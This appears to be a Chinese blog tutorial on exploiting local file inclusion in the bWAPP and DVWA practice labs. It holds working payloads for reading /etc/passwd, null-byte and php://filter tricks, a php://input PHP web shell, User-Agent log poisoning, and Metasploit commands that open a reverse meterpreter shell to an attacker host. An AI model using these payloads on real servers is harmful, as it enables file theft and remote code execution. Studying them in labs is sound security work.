zoukankan      html  css  js  c++  java
  • 本地文件包含漏洞利用姿势

    本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法。 我们都知道LFI漏洞允许用户通过在URL中包括一个文件。在本文中,我使用了bWAPP和DVWA两个不同的平台,其中包含文件包含漏洞的演示。通过它我以四种不同的方式执行LFI攻击

    0x01 基本本地文件包含

    在浏览器中输入目标IP,并在BWAPP内登录(bee:bug),现在选择bug:remote & local file Inclusion,然后点击hack。

    1-1

    打开具有RFI和LFI漏洞的网页。在下拉列表中选择语言释,单击go按钮时,所选的语言文件将包含在URL中。 执行基本攻击操作。

    http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.101/bWAPP/flfi.php?language=/etc/passwd

    在基本的LFI攻击中,我们可以使用(../)或简单地(/)从目录中直接读取文件的内容,下面的截图中在浏览器URL中访问密码文件。

    2-1

    0x02 Null byte

    在一些情况下,由于高安全级别,上面提到的基本本地文件包含攻击可能不工作。从下面的截图可以观察到,当在URL中执行相同的路径时,却无法读取密码文件。  所以当面对这样的问题,可以进行NULL byte攻击。

    打开burp suite捕获浏览器请求,然后选择代理选项卡并开始截取。 不要忘记在使用burp suite时设置浏览器代理。

    3.1

    将拦截的数据发送到repeater

    3.2

    在repeater中做发送的请求和响应生成的分析。从截图可以清楚的看出/ etc / passwd不能读取。

    3.3

    在下面的截图中,通过在etc/passwd目录的末尾添加空字符(%00)来转发请求,然后单击go选项卡。然后在窗口的右视图上,密码文件作为响应打开。

    3.4

    0x03 Base64 encoded

    当安全级别高并且无法查看PHP文件内容时,使用以下PHP函数:

    http://192.168.1.101/bWAPP/rlfi.php?language=php://filter/read=convert.base64-encode/resource=/etc/passwd

    从以下截图可以看到passwd文件内容编码为base64,复制整个编码文本。

    3-2

    使用hackbar解码复制的编码文本。

    4-2

    将复制的编码文本粘贴到弹出的对话框内。

    5-3

    密码文件的内容:

    6-2

    0x04 PHP Input

    使用PHP Input函数,通过执行注入PHP代码来利用LFI漏洞。首先,加载目标网页URL:

    http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go

    11

    使用PHP input函数:

    http://192.168.1.101/bWAPP/rlfi.php?language=php://input&cmd=ls

    然后选中enable Post data复选框,转发提交的数据,并在给定文本区域中添加cmd命令<?php system($ _ GET [‘cmd’]); ?>。如下图所示,最后点击execute。

    12

    通过反向连接连接目标机器; 在kali Linux中打开终端输入msfconsole启动metasploit。

    use exploit/multi/script/web_delivery
    
    msf exploit (web_delivery)>set target 1
    
    msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
    
    msf exploit (web_delivery)> set lhost 192.168.0.104 
    
    msf exploit (web_delivery)>set srvport  8081
    
    msf exploit (web_delivery)>exploit

    复制下图中的高亮文本:

    13

    将上面复制的PHP代码粘贴到URL中,如下图所示,并执行它。

    14

    当上面的URL被执行时,将metasploit中获得目标的meterpreter会话。

    msf exploit (web_delivery)>session I 1
    
    meterpreter> sysinfo

    15

    0x05 Proc/self/environ

    如果服务超时,通过LFI利用它。可以包括存储User_Agent的proc/self/environ文件,在文件中插入用于执行CMD命令的PHP代码

    http://192.168.1.102/dvwa/vulnerabilities/fi/?page=proc/self/environ

    16

    启动burp suite拦截浏览器请求,并将获取数据发送到repeater。

    17

    将CMD命令<?php system($_GET[‘cmd’]); ?>添加到user_Agent内,并使用GET参数192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id发送请求。响应如下图右侧所示。

    18

  • 相关阅读:
    LeetCode 1110. Delete Nodes And Return Forest
    LeetCode 473. Matchsticks to Square
    LeetCode 886. Possible Bipartition
    LeetCode 737. Sentence Similarity II
    LeetCode 734. Sentence Similarity
    LeetCode 491. Increasing Subsequences
    LeetCode 1020. Number of Enclaves
    LeetCode 531. Lonely Pixel I
    LeetCode 1091. Shortest Path in Binary Matrix
    LeetCode 590. N-ary Tree Postorder Traversal
  • 原文地址:https://www.cnblogs.com/blacksunny/p/9257032.html
Copyright © 2011-2022 走看看